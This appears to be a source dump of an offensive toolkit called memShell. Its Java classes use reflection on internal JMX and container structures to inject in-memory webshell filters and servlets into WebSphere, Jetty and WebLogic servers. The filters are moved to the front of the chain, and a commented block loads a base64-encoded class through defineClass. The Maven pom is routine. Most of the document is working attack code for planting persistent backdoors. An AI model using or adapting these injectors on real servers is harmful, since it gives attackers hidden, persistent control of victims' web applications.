classLoader.getClass(); 80 | // Method method = null; 81 | // while(method == null && clazz != Object.class){ 82 | // try{ 83 | // method = clazz.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); 84 | // }catch(NoSuchMethodException ex){ 85 | // clazz = clazz.getSuperclass(); 86 | // } 87 | // } 88 | // 89 | // String code = "yv66vgAAADIAGwoABQAWBwAXCgACABYKAAIAGAcAGQEABjxpbml0PgEAGihMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBACRMY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcjsBAAFjAQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAtkZWZpbmVDbGFzcwEALChbQkxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KUxqYXZhL2xhbmcvQ2xhc3M7AQAFYnl0ZXMBAAJbQgEAC2NsYXNzTG9hZGVyAQAKU291cmNlRmlsZQEAEk15Q2xhc3NMb2FkZXIuamF2YQwABgAHAQAiY29tL21lbXNoZWxsL2dlbmVyaWMvTXlDbGFzc0xvYWRlcgwADwAaAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAXKFtCSUkpTGphdmEvbGFuZy9DbGFzczsAIQACAAUAAAAAAAIAAAAGAAcAAQAIAAAAOgACAAIAAAAGKiu3AAGxAAAAAgAJAAAABgABAAAABAAKAAAAFgACAAAABgALAAwAAAAAAAYADQAOAAEACQAPABAAAQAIAAAARAAEAAIAAAAQuwACWSu3AAMqAyq+tgAEsAAAAAIACQAAAAYAAQAAAAgACgAAABYAAgAAABAAEQASAAAAAAAQABMADgABAAEAFAAAAAIAFQ=="; 90 | // byte[] bytes = new BASE64Decoder().decodeBuffer(code); 91 | // method.setAccessible(true); 92 | // this.myClassLoaderClazz = (Class) method.invoke(classLoader, bytes, 0, bytes.length); 93 | // } 94 | // } catch (IllegalAccessException e) { 95 | // e.printStackTrace(); 96 | // } catch (IOException e) { 97 | // e.printStackTrace(); 98 | // } catch (InvocationTargetException e) { 99 | // e.printStackTrace(); 100 | // } 101 | // } 102 | //} 103 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/websphere/FilterBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.websphere; 2 | 3 | import com.memshell.generic.FilterTemplate; 4 | import javax.servlet.*; 5 | import javax.servlet.http.HttpServlet; 6 | import javax.servlet.http.HttpServletRequest; 7 | import javax.servlet.http.HttpServletResponse; 8 | import java.lang.reflect.Method; 9 | import java.util.EnumSet; 10 | import java.util.List; 11 | 12 | public class FilterBasedWithoutRequest extends HttpServlet { 13 | @Override 14 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 15 | 16 | try{ 17 | String filterName = "myFilter2"; 18 | String urlPattern = "/bbb"; 19 | 20 | Class clazz = Thread.currentThread().getClass(); 21 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); 22 | field.setAccessible(true); 23 | Object obj = field.get(Thread.currentThread()); 24 | 25 | Object[] obj_arr = (Object[]) obj; 26 | for(int j = 0; j < obj_arr.length; j++){ 27 | Object o = obj_arr[j]; 28 | if(o == null) continue; 29 | 30 | if(o.getClass().getName().endsWith("WebContainerRequestState")){ 31 | Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); 32 | Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); 33 | 34 | field = servletContext.getClass().getDeclaredField("context"); 35 | field.setAccessible(true); 36 | Object context = field.get(servletContext); 37 | 38 | field = context.getClass().getSuperclass().getDeclaredField("config"); 39 | field.setAccessible(true); 40 | Object webAppConfiguration = field.get(context); 41 | 42 | Method method = null; 43 | Method[] methods = webAppConfiguration.getClass().getMethods(); 44 | for(int i = 0; i < methods.length; i++){ 45 | if(methods[i].getName().equals("getFilterMappings")){ 46 | method = methods[i]; 47 | break; 48 | } 49 | } 50 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); 51 | 52 | boolean flag = false; 53 | for(int i = 0; i < filerMappings.size(); i++){ 54 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); 55 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); 56 | if(name.equals(filterName)){ 57 | flag = true; 58 | break; 59 | } 60 | } 61 | 62 | //如果已存在同名的 Filter,就不在添加,防止重复添加 63 | if(!flag){ 64 | System.out.println("[+] Add Dynamic Filter"); 65 | 66 | Filter filter = new FilterTemplate(); 67 | 68 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); 69 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); 70 | 71 | method = null; 72 | methods = webAppConfiguration.getClass().getMethods(); 73 | for(int i = 0; i < methods.length; i++){ 74 | if(methods[i].getName().equals("addFilterInfo")){ 75 | method = methods[i]; 76 | break; 77 | } 78 | } 79 | method.invoke(webAppConfiguration, new Object[]{filterConfig}); 80 | 81 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); 82 | field.setAccessible(true); 83 | Object original = field.get(filterConfig); 84 | 85 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 86 | field.set(filterConfig, null); 87 | 88 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); 89 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); 90 | 91 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 92 | field.set(filterConfig, original); 93 | 94 | method = null; 95 | methods = webAppConfiguration.getClass().getMethods(); 96 | for(int i = 0; i < methods.length; i++){ 97 | if(methods[i].getName().equals("getUriFilterMappings")){ 98 | method = methods[i]; 99 | break; 100 | } 101 | } 102 | 103 | //这里的目的是为了将我们添加的动态 Filter 放到第一位 104 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); 105 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); 106 | } 107 | 108 | break; 109 | } 110 | } 111 | }catch(Exception e){ 112 | e.printStackTrace(); 113 | } 114 | } 115 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/websphere/FilterBasedWithoutRequestVariant.java: -------------------------------------------------------------------------------- 1 | package com.memshell.websphere; 2 | 3 | import com.memshell.generic.Util; 4 | import javax.servlet.DispatcherType; 5 | import javax.servlet.Filter; 6 | import javax.servlet.http.HttpServlet; 7 | import javax.servlet.http.HttpServletRequest; 8 | import javax.servlet.http.HttpServletResponse; 9 | import java.lang.reflect.Method; 10 | import java.util.EnumSet; 11 | import java.util.List; 12 | 13 | public class FilterBasedWithoutRequestVariant extends HttpServlet { 14 | @Override 15 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 16 | 17 | try{ 18 | String filterName = "myFilter3"; 19 | String urlPattern = "/ccc"; 20 | 21 | Class clazz = Thread.currentThread().getClass(); 22 | java.lang.reflect.Field field = clazz.getDeclaredField("wsThreadLocals"); 23 | field.setAccessible(true); 24 | Object obj = field.get(Thread.currentThread()); 25 | 26 | Object[] obj_arr = (Object[]) obj; 27 | for(int j = 0; j < obj_arr.length; j++){ 28 | Object o = obj_arr[j]; 29 | if(o == null) continue; 30 | 31 | if(o.getClass().getName().endsWith("WebContainerRequestState")){ 32 | Object request = o.getClass().getMethod("getCurrentThreadsIExtendedRequest", new Class[0]).invoke(o, new Object[0]); 33 | Object servletContext = request.getClass().getMethod("getServletContext", new Class[0]).invoke(request, new Object[0]); 34 | 35 | field = servletContext.getClass().getDeclaredField("context"); 36 | field.setAccessible(true); 37 | Object context = field.get(servletContext); 38 | 39 | field = context.getClass().getSuperclass().getDeclaredField("config"); 40 | field.setAccessible(true); 41 | Object webAppConfiguration = field.get(context); 42 | 43 | Method method = null; 44 | Method[] methods = webAppConfiguration.getClass().getMethods(); 45 | for(int i = 0; i < methods.length; i++){ 46 | if(methods[i].getName().equals("getFilterMappings")){ 47 | method = methods[i]; 48 | break; 49 | } 50 | } 51 | List filerMappings = (List) method.invoke(webAppConfiguration, new Object[0]); 52 | 53 | boolean flag = false; 54 | for(int i = 0; i < filerMappings.size(); i++){ 55 | Object filterConfig = filerMappings.get(i).getClass().getMethod("getFilterConfig", new Class[0]).invoke(filerMappings.get(i), new Object[0]); 56 | String name = (String) filterConfig.getClass().getMethod("getFilterName", new Class[0]).invoke(filterConfig, new Object[0]); 57 | if(name.equals(filterName)){ 58 | flag = true; 59 | break; 60 | } 61 | } 62 | 63 | //如果已存在同名的 Filter,就不在添加,防止重复添加 64 | if(!flag){ 65 | System.out.println("[+] Add Dynamic Filter"); 66 | 67 | clazz = Util.getDynamicFilterTemplateClass(); 68 | 69 | Object filterConfig = context.getClass().getMethod("createFilterConfig", new Class[]{String.class}).invoke(context, new Object[]{filterName}); 70 | Object filter = clazz.newInstance(); 71 | filterConfig.getClass().getMethod("setFilter", new Class[]{Filter.class}).invoke(filterConfig, new Object[]{filter}); 72 | 73 | method = null; 74 | methods = webAppConfiguration.getClass().getMethods(); 75 | for(int i = 0; i < methods.length; i++){ 76 | if(methods[i].getName().equals("addFilterInfo")){ 77 | method = methods[i]; 78 | break; 79 | } 80 | } 81 | method.invoke(webAppConfiguration, new Object[]{filterConfig}); 82 | 83 | field = filterConfig.getClass().getSuperclass().getDeclaredField("context"); 84 | field.setAccessible(true); 85 | Object original = field.get(filterConfig); 86 | 87 | //设置为null,从而 addMappingForUrlPatterns 流程中不会抛出异常 88 | field.set(filterConfig, null); 89 | 90 | method = filterConfig.getClass().getDeclaredMethod("addMappingForUrlPatterns", new Class[]{EnumSet.class, boolean.class, String[].class}); 91 | method.invoke(filterConfig, new Object[]{EnumSet.of(DispatcherType.REQUEST), true, new String[]{urlPattern}}); 92 | 93 | //addMappingForUrlPatterns 流程走完,再将其设置为原来的值 94 | field.set(filterConfig, original); 95 | 96 | method = null; 97 | methods = webAppConfiguration.getClass().getMethods(); 98 | for(int i = 0; i < methods.length; i++){ 99 | if(methods[i].getName().equals("getUriFilterMappings")){ 100 | method = methods[i]; 101 | break; 102 | } 103 | } 104 | 105 | //这里的目的是为了将我们添加的动态 Filter 放到第一位 106 | List uriFilterMappingInfos = (List)method.invoke(webAppConfiguration, new Object[0]); 107 | uriFilterMappingInfos.add(0, filerMappings.get(filerMappings.size() - 1)); 108 | } 109 | 110 | break; 111 | } 112 | } 113 | }catch(Exception e){ 114 | e.printStackTrace(); 115 | } 116 | } 117 | } -------------------------------------------------------------------------------- /src/main/java/com/memshell/jetty/FilterBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jetty; 2 | 3 | import com.memshell.generic.FilterTemplate; 4 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 5 | import com.sun.jmx.mbeanserver.NamedObject; 6 | import com.sun.jmx.mbeanserver.Repository; 7 | import javax.management.ObjectName; 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.management.ManagementFactory; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.Method; 15 | import java.lang.reflect.Modifier; 16 | import java.util.EnumSet; 17 | import java.util.Set; 18 | 19 | public class FilterBasedWithoutRequest extends HttpServlet { 20 | @Override 21 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 22 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext 23 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader() 24 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常 25 | 26 | try{ 27 | String filterName = "myFilter1"; 28 | String urlPattern = "/aaa"; 29 | 30 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 31 | 32 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 33 | field.setAccessible(true); 34 | Object obj = field.get(mBeanServer); 35 | 36 | field = obj.getClass().getDeclaredField("repository"); 37 | field.setAccessible(true); 38 | Field modifier = field.getClass().getDeclaredField("modifiers"); 39 | modifier.setAccessible(true); 40 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 41 | Repository repository = (Repository)field.get(obj); 42 | 43 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 44 | for(NamedObject namedObject : namedObjectSet){ 45 | try{ 46 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 47 | field.setAccessible(true); 48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 49 | Object webAppContext = field.get(namedObject.getObject()); 50 | 51 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 52 | field.setAccessible(true); 53 | Object handler = field.get(webAppContext); 54 | 55 | field = handler.getClass().getDeclaredField("_filters"); 56 | field.setAccessible(true); 57 | Object[] objects = (Object[]) field.get(handler); 58 | 59 | boolean flag = false; 60 | for(Object o : objects){ 61 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 62 | field.setAccessible(true); 63 | String name = (String)field.get(o); 64 | if(name.equals(filterName)){ 65 | flag = true; 66 | break; 67 | } 68 | } 69 | 70 | if(!flag){ 71 | System.out.println("[+] Add Dynamic Filter"); 72 | 73 | ClassLoader classLoader = handler.getClass().getClassLoader(); 74 | Class sourceClazz = null; 75 | Object holder = null; 76 | try{ 77 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 78 | field = sourceClazz.getDeclaredField("JAVAX_API"); 79 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 80 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 81 | holder = method.invoke(handler, field.get(null)); 82 | }catch(ClassNotFoundException e){ 83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 84 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 85 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 86 | } 87 | 88 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); 89 | Filter filter = new FilterTemplate(); 90 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, filter); 91 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); 92 | 93 | Class clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); 94 | Object filterMapping = clazz.newInstance(); 95 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); 96 | method.setAccessible(true); 97 | method.invoke(filterMapping, holder); 98 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); 99 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); 100 | 101 | // prependFilterMapping 会自动把 filter 加到最前面 102 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); 103 | } 104 | }catch(Exception e){ 105 | //pass 106 | } 107 | } 108 | }catch(Exception e){ 109 | e.printStackTrace(); 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/jetty/FilterBasedWithoutRequestVariant.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jetty; 2 | 3 | import com.memshell.generic.Util; 4 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 5 | import com.sun.jmx.mbeanserver.NamedObject; 6 | import com.sun.jmx.mbeanserver.Repository; 7 | import javax.management.ObjectName; 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.management.ManagementFactory; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.Method; 15 | import java.lang.reflect.Modifier; 16 | import java.util.EnumSet; 17 | import java.util.Set; 18 | 19 | public class FilterBasedWithoutRequestVariant extends HttpServlet { 20 | @Override 21 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 22 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext 23 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader() 24 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常 25 | 26 | try{ 27 | String filterName = "myFilter2"; 28 | String urlPattern = "/bbb"; 29 | 30 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 31 | 32 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 33 | field.setAccessible(true); 34 | Object obj = field.get(mBeanServer); 35 | 36 | field = obj.getClass().getDeclaredField("repository"); 37 | field.setAccessible(true); 38 | Field modifier = field.getClass().getDeclaredField("modifiers"); 39 | modifier.setAccessible(true); 40 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 41 | Repository repository = (Repository)field.get(obj); 42 | 43 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 44 | for(NamedObject namedObject : namedObjectSet){ 45 | try{ 46 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 47 | field.setAccessible(true); 48 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 49 | Object webAppContext = field.get(namedObject.getObject()); 50 | 51 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 52 | field.setAccessible(true); 53 | Object handler = field.get(webAppContext); 54 | 55 | field = handler.getClass().getDeclaredField("_filters"); 56 | field.setAccessible(true); 57 | Object[] objects = (Object[]) field.get(handler); 58 | 59 | boolean flag = false; 60 | for(Object o : objects){ 61 | field = o.getClass().getSuperclass().getDeclaredField("_name"); 62 | field.setAccessible(true); 63 | String name = (String)field.get(o); 64 | if(name.equals(filterName)){ 65 | flag = true; 66 | break; 67 | } 68 | } 69 | 70 | if(!flag){ 71 | System.out.println("[+] Add Dynamic Filter"); 72 | 73 | ClassLoader classLoader = handler.getClass().getClassLoader(); 74 | Class sourceClazz = null; 75 | Object holder = null; 76 | try{ 77 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.Source"); 78 | field = sourceClazz.getDeclaredField("JAVAX_API"); 79 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 80 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 81 | holder = method.invoke(handler, field.get(null)); 82 | }catch(ClassNotFoundException e){ 83 | sourceClazz = classLoader.loadClass("org.eclipse.jetty.servlet.BaseHolder$Source"); 84 | Method method = handler.getClass().getMethod("newFilterHolder", sourceClazz); 85 | holder = method.invoke(handler, Enum.valueOf(sourceClazz, "JAVAX_API")); 86 | } 87 | 88 | holder.getClass().getMethod("setName", String.class).invoke(holder, filterName); 89 | Class clazz = Util.getDynamicFilterTemplateClass(); 90 | holder.getClass().getMethod("setFilter", Filter.class).invoke(holder, clazz.newInstance()); 91 | handler.getClass().getMethod("addFilter", holder.getClass()).invoke(handler, holder); 92 | 93 | clazz = classLoader.loadClass("org.eclipse.jetty.servlet.FilterMapping"); 94 | Object filterMapping = clazz.newInstance(); 95 | Method method = filterMapping.getClass().getDeclaredMethod("setFilterHolder", holder.getClass()); 96 | method.setAccessible(true); 97 | method.invoke(filterMapping, holder); 98 | filterMapping.getClass().getMethod("setPathSpecs", String[].class).invoke(filterMapping, new Object[]{new String[]{urlPattern}}); 99 | filterMapping.getClass().getMethod("setDispatcherTypes", EnumSet.class).invoke(filterMapping, EnumSet.of(DispatcherType.REQUEST)); 100 | 101 | // prependFilterMapping 会自动把 filter 加到最前面 102 | handler.getClass().getMethod("prependFilterMapping", filterMapping.getClass()).invoke(handler, filterMapping); 103 | } 104 | }catch(Exception e){ 105 | //pass 106 | } 107 | } 108 | }catch(Exception e){ 109 | e.printStackTrace(); 110 | } 111 | } 112 | } 113 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/weblogic/FilterBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | //package com.memshell.weblogic; 2 | // 3 | //import com.memshell.generic.Util; 4 | //import com.sun.jmx.mbeanserver.NamedObject; 5 | //import com.sun.jmx.mbeanserver.Repository; 6 | //import weblogic.servlet.internal.FilterManager; 7 | //import weblogic.servlet.internal.WebAppServletContext; 8 | //import weblogic.servlet.utils.ServletMapping; 9 | //import weblogic.utils.collections.MatchMap; 10 | //import javax.management.MBeanServer; 11 | //import javax.management.ObjectName; 12 | //import javax.servlet.http.HttpServlet; 13 | //import javax.servlet.http.HttpServletRequest; 14 | //import javax.servlet.http.HttpServletResponse; 15 | //import java.lang.management.ManagementFactory; 16 | //import java.lang.reflect.Field; 17 | //import java.lang.reflect.Method; 18 | //import java.util.*; 19 | // 20 | //public class FilterBasedWithoutRequest extends HttpServlet { 21 | // @Override 22 | // protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 23 | // try{ 24 | // String filterName = "dynamicFilter2"; 25 | // String urlPattern = "/bbb"; 26 | // 27 | // MBeanServer server = ManagementFactory.getPlatformMBeanServer(); 28 | // Field field = server.getClass().getDeclaredField("wrappedMBeanServer"); 29 | // field.setAccessible(true); 30 | // Object obj = field.get(server); 31 | // 32 | // field = obj.getClass().getDeclaredField("mbsInterceptor"); 33 | // field.setAccessible(true); 34 | // obj = field.get(obj); 35 | // 36 | // field = obj.getClass().getDeclaredField("repository"); 37 | // field.setAccessible(true); 38 | // Repository repository = (Repository)field.get(obj); 39 | // 40 | // // 这里的 query 参数会被忽略,所以直接用 null 41 | // Set namedObjects = repository.query(new ObjectName("com.bea:Type=ApplicationRuntime,*"),null); 42 | // for(NamedObject namedObject : namedObjects){ 43 | // try{ 44 | // String name = (String) namedObject.getObject().getAttribute("Name"); 45 | // if(name.equals("bea_wls_internal") || name.equals("mejb") || 46 | // (name.contains("bea") && name.contains("wls"))) continue; 47 | // 48 | // field = namedObject.getObject().getClass().getDeclaredField("managedResource"); 49 | // field.setAccessible(true); 50 | // obj = field.get(namedObject.getObject()); 51 | // 52 | // field = obj.getClass().getSuperclass().getDeclaredField("children"); 53 | // field.setAccessible(true); 54 | // HashSet set = (HashSet)field.get(obj); 55 | // 56 | // for(Object o : set){ 57 | // if(o.getClass().getName().endsWith("WebAppRuntimeMBeanImpl")){ 58 | // field = o.getClass().getDeclaredField("context"); 59 | // field.setAccessible(true); 60 | // WebAppServletContext servletContext = (WebAppServletContext) field.get(o); 61 | // FilterManager filterManager = servletContext.getFilterManager(); 62 | // 63 | // // 判断一下,防止多次加载, 默认只加载一次,不需要重复加载 64 | // if (!filterManager.isFilterRegistered(filterName)) { 65 | // System.out.println("[+] Add Dynamic Filter"); 66 | // 67 | // Class clazz = Util.getDynamicServletTemplateClass(); 68 | // 69 | // //将 Filter 注册进 FilterManager 70 | // //参数: String filterName, String filterClassName, String[] urlPatterns, String[] servletNames, Map initParams, String[] dispatchers 71 | // Method registerFilterMethod = filterManager.getClass().getDeclaredMethod("registerFilter", String.class, String.class, String[].class, String[].class, Map.class, String[].class); 72 | // registerFilterMethod.setAccessible(true); 73 | // registerFilterMethod.invoke(filterManager, filterName, "com.memshell.generic.DynamicFilterTemplate", new String[]{urlPattern}, null, null, null); 74 | // 75 | // 76 | // //将我们添加的 Filter 移动到 FilterChian 的第一位 77 | // Field filterPatternListField = filterManager.getClass().getDeclaredField("filterPatternList"); 78 | // filterPatternListField.setAccessible(true); 79 | // ArrayList filterPatternList = (ArrayList)filterPatternListField.get(filterManager); 80 | // 81 | // 82 | // //不能用 filterName 来判断,因为在 11g 中此值为空,在 12g 中正常 83 | // for(int i = 0; i < filterPatternList.size(); i++){ 84 | // Object filterPattern = filterPatternList.get(i); 85 | // Field f = filterPattern.getClass().getDeclaredField("map"); 86 | // f.setAccessible(true); 87 | // ServletMapping mapping = (ServletMapping) f.get(filterPattern); 88 | // 89 | // f = mapping.getClass().getSuperclass().getDeclaredField("matchMap"); 90 | // f.setAccessible(true); 91 | // MatchMap matchMap = (MatchMap)f.get(mapping); 92 | // 93 | // Object result = matchMap.match(urlPattern); 94 | // if(result != null && result.toString().contains(urlPattern)){ 95 | // Object temp = filterPattern; 96 | // filterPatternList.set(i, filterPatternList.get(0)); 97 | // filterPatternList.set(0, temp); 98 | // break; 99 | // } 100 | // } 101 | // } 102 | // } 103 | // } 104 | // }catch(Exception e){ 105 | // //pass 106 | // } 107 | // } 108 | // }catch (Exception e){ 109 | // e.printStackTrace(); 110 | // } 111 | // } 112 | //} -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 5 | 4.0.0 6 | 7 | org.example 8 | memShell 9 | 1.0-SNAPSHOT 10 | war 11 | 12 | memShell Maven Webapp 13 | http://www.example.com 14 | 15 | 16 | UTF-8 17 | 1.6 18 | 1.6 19 | 20 | 3.2.3.RELEASE 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | 29 | 30 | org.springframework 31 | spring-core 32 | ${spring.version} 33 | 34 | 35 | org.springframework 36 | spring-beans 37 | ${spring.version} 38 | 39 | 40 | org.springframework 41 | spring-web 42 | ${spring.version} 43 | 44 | 45 | org.springframework 46 | spring-oxm 47 | ${spring.version} 48 | 49 | 50 | org.springframework 51 | spring-tx 52 | ${spring.version} 53 | 54 | 55 | org.springframework 56 | spring-jdbc 57 | ${spring.version} 58 | 59 | 60 | org.springframework 61 | spring-webmvc 62 | ${spring.version} 63 | 64 | 65 | org.springframework 66 | spring-aop 67 | ${spring.version} 68 | 69 | 70 | org.springframework 71 | spring-context-support 72 | ${spring.version} 73 | 74 | 75 | org.springframework 76 | spring-test 77 | ${spring.version} 78 | 79 | 80 | 81 | javax.servlet 82 | javax.servlet-api 83 | 3.0.1 84 | provided 85 | 86 | 87 | 88 | 89 | 90 | org.apache.tomcat.embed 91 | tomcat-embed-core 92 | 9.0.27 93 | provided 94 | 95 | 96 | 97 | 98 | org.eclipse.jetty 99 | jetty-server 100 | 9.4.30.v20200611 101 | provided 102 | 103 | 104 | 105 | 106 | 107 | io.undertow 108 | undertow-core 109 | 2.2.2.Final 110 | provided 111 | 112 | 113 | 114 | 115 | io.undertow 116 | undertow-servlet 117 | 2.2.2.Final 118 | provided 119 | 120 | 121 | 122 | 123 | org.jboss.spec.javax.security.jacc 124 | jboss-jacc-api_1.4_spec 125 | 1.0.3.Final 126 | provided 127 | 128 | 129 | 130 | junit 131 | junit 132 | 4.11 133 | test 134 | 135 | 136 | 137 | 138 | 139 | 140 | memShell 141 | 142 | 143 | 144 | maven-clean-plugin 145 | 3.1.0 146 | 147 | 148 | 149 | maven-resources-plugin 150 | 3.0.2 151 | 152 | 153 | maven-compiler-plugin 154 | 3.8.0 155 | 156 | 157 | maven-surefire-plugin 158 | 2.22.1 159 | 160 | 161 | maven-war-plugin 162 | 3.2.2 163 | 164 | 165 | maven-install-plugin 166 | 2.5.2 167 | 168 | 169 | maven-deploy-plugin 170 | 2.8.2 171 | 172 | 173 | 174 | 175 | 176 | -------------------------------------------------------------------------------- /src/main/java/com/memshell/jetty/ServletBasedWithoutRequest.java: -------------------------------------------------------------------------------- 1 | package com.memshell.jetty; 2 | 3 | import com.memshell.generic.ServletTemplate; 4 | import com.sun.jmx.mbeanserver.JmxMBeanServer; 5 | import com.sun.jmx.mbeanserver.NamedObject; 6 | import com.sun.jmx.mbeanserver.Repository; 7 | import javax.management.ObjectName; 8 | import javax.servlet.*; 9 | import javax.servlet.http.HttpServlet; 10 | import javax.servlet.http.HttpServletRequest; 11 | import javax.servlet.http.HttpServletResponse; 12 | import java.lang.management.ManagementFactory; 13 | import java.lang.reflect.Field; 14 | import java.lang.reflect.Method; 15 | import java.lang.reflect.Modifier; 16 | import java.util.Set; 17 | 18 | public class ServletBasedWithoutRequest extends HttpServlet { 19 | @Override 20 | protected void doGet(HttpServletRequest req, HttpServletResponse resp) { 21 | // 不管是这种方式拿到的 webAppContext 还是是通过 req.getServletContext() 拿到的 webAppContext 22 | // 他们的类加载器都是 startJarLoader,不同于 Thread.currentThread().getContextClassLoader() 23 | // 导致只能通过反射的方式完成整个步骤,否则就会抛 ClassNotFoundException 异常 24 | 25 | try{ 26 | String servletName = "myServlet1"; 27 | String urlPattern = "/xxx"; 28 | 29 | JmxMBeanServer mBeanServer = (JmxMBeanServer) ManagementFactory.getPlatformMBeanServer(); 30 | 31 | Field field = mBeanServer.getClass().getDeclaredField("mbsInterceptor"); 32 | field.setAccessible(true); 33 | Object obj = field.get(mBeanServer); 34 | 35 | field = obj.getClass().getDeclaredField("repository"); 36 | field.setAccessible(true); 37 | Field modifier = field.getClass().getDeclaredField("modifiers"); 38 | modifier.setAccessible(true); 39 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 40 | Repository repository = (Repository)field.get(obj); 41 | 42 | Set namedObjectSet = repository.query(new ObjectName("org.eclipse.jetty.webapp:type=webappcontext,*"), null); 43 | for(NamedObject namedObject : namedObjectSet){ 44 | try{ 45 | field = namedObject.getObject().getClass().getSuperclass().getSuperclass().getDeclaredField("_managed"); 46 | field.setAccessible(true); 47 | modifier.setInt(field, field.getModifiers() & ~Modifier.FINAL); 48 | Object webAppContext = field.get(namedObject.getObject()); 49 | 50 | field = webAppContext.getClass().getSuperclass().getDeclaredField("_servletHandler"); 